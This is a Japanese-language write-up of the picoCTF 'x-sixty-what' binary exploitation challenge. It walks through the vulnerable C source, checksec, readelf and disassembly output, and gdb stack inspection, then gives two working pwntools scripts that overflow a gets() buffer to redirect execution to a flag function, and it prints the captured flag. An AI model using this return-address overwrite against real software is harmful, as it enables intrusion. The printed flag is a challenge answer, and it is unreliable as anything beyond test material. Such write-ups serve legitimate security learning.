x-sixty-what (Binary Exploitation)
Overflow x64 code Most problems before this are 32-bit x86. Now we'll consider 64-bit x86 which is a little different! Overflow the buffer and change the return address to the flag
function in this program. Download source.
nc saturn.picoctf.net 50165
添付ファイル
・vuln
・vuln.c
とりあえず、実行する。
$ nc saturn.picoctf.net 49944
Welcome to 64-bit. Give me a string that gets you the flag:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
問題文によるとoverflowさせてreturn addressをflag functionのadressに書き換えれば良いらしい。
ソースコードを確認する。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFFSIZE 64
#define FLAGSIZE 64
void flag() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
void vuln(){
char buf[BUFFSIZE];
gets(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Welcome to 64-bit. Give me a string that gets you the flag: ");
vuln();
return 0;
}
exploitに必要な情報を集める。
$ file vuln
vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=8ba2226f06946bc75922ba6fb1919e6283162f22, for GNU/Linux 3.2.0, not stripped
$ checksec vuln
[*] Checking for new versions of pwntools
To disable this functionality, set the contents of /home/colza-picoctf/.cache/.pwntools-cache-3.10/update to 'never' (old way).
Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):
[update]
interval=never
[*] You have the latest version of Pwntools (4.13.1)
[*] '/home/colza-picoctf/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
$ readelf -a vuln
...
72: 0000000000401236 124 FUNC GLOBAL DEFAULT 15 flag
...
Dump of assembler code for function main:
0x00000000004012d2 <+0>: endbr64
0x00000000004012d6 <+4>: push rbp
0x00000000004012d7 <+5>: mov rbp,rsp
0x00000000004012da <+8>: sub rsp,0x20
0x00000000004012de <+12>: mov DWORD PTR [rbp-0x14],edi
0x00000000004012e1 <+15>: mov QWORD PTR [rbp-0x20],rsi
0x00000000004012e5 <+19>: mov rax,QWORD PTR [rip+0x2d84] # 0x404070 <stdout@@GLIBC_2.2.5>
0x00000000004012ec <+26>: mov ecx,0x0
0x00000000004012f1 <+31>: mov edx,0x2
0x00000000004012f6 <+36>: mov esi,0x0
0x00000000004012fb <+41>: mov rdi,rax
0x00000000004012fe <+44>: call 0x401120 <setvbuf@plt>
0x0000000000401303 <+49>: call 0x401110 <getegid@plt>
0x0000000000401308 <+54>: mov DWORD PTR [rbp-0x4],eax
0x000000000040130b <+57>: mov edx,DWORD PTR [rbp-0x4]
0x000000000040130e <+60>: mov ecx,DWORD PTR [rbp-0x4]
0x0000000000401311 <+63>: mov eax,DWORD PTR [rbp-0x4]
0x0000000000401314 <+66>: mov esi,ecx
0x0000000000401316 <+68>: mov edi,eax
0x0000000000401318 <+70>: mov eax,0x0
0x000000000040131d <+75>: call 0x4010d0 <setresgid@plt>
0x0000000000401322 <+80>: lea rdi,[rip+0xd3f] # 0x402068
0x0000000000401329 <+87>: call 0x4010c0 <puts@plt>
0x000000000040132e <+92>: mov eax,0x0
0x0000000000401333 <+97>: call 0x4012b2 <vuln>
0x0000000000401338 <+102>: mov eax,0x0
0x000000000040133d <+107>: leave
0x000000000040133e <+108>: ret
Dump of assembler code for function vuln:
0x00000000004012b2 <+0>: endbr64
0x00000000004012b6 <+4>: push rbp
0x00000000004012b7 <+5>: mov rbp,rsp
0x00000000004012ba <+8>: sub rsp,0x40
0x00000000004012be <+12>: lea rax,[rbp-0x40]
0x00000000004012c2 <+16>: mov rdi,rax
0x00000000004012c5 <+19>: mov eax,0x0
0x00000000004012ca <+24>: call 0x401100 <gets@plt>
0x00000000004012cf <+29>: nop
0x00000000004012d0 <+30>: leave
0x00000000004012d1 <+31>: ret
gdbでスタックの状況を確認する。入力で82文字分の"a"を与えると、以下のようになった。
RBP 0x7fffffffde20 ◂— 'aaaaaaaaaaaaaaaaaa'
RSP 0x7fffffffdde0 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
► 0 0x4012cf vuln+29
1 0x6161616161616161
2 0x7fffff006161
10文字分のアドレスが"a"に書き換わっていることが分かる。
ペイロードは(64+8)文字分の何か + return address + flag function address
となる。
以下、実行コード。
from pwn import *
p = remote("saturn.picoctf.net", 50165)
payload = b"a"*72
payload += p64(0x4012d1)
payload += p64(0x401236)
p.sendline(payload)
p.interactive()
実行する。
$ python solver.py
[+] Opening connection to saturn.picoctf.net on port 50165: Done
[*] Switching to interactive mode
Welcome to 64-bit. Give me a string that gets you the flag:
picoCTF{b1663r_15_b3773r_d95e02b6}[*] Got EOF while reading in interactive
フラグが得られた。
picoCTF{b1663r_15_b3773r_d95e02b6}
ちなみに以下のコードでもフラグが得られる。
from pwn import *
p = remote("saturn.picoctf.net", 50165)
payload = b"a"*72
payload += p64(0x40123b)
p.sendline(payload)
p.interactive()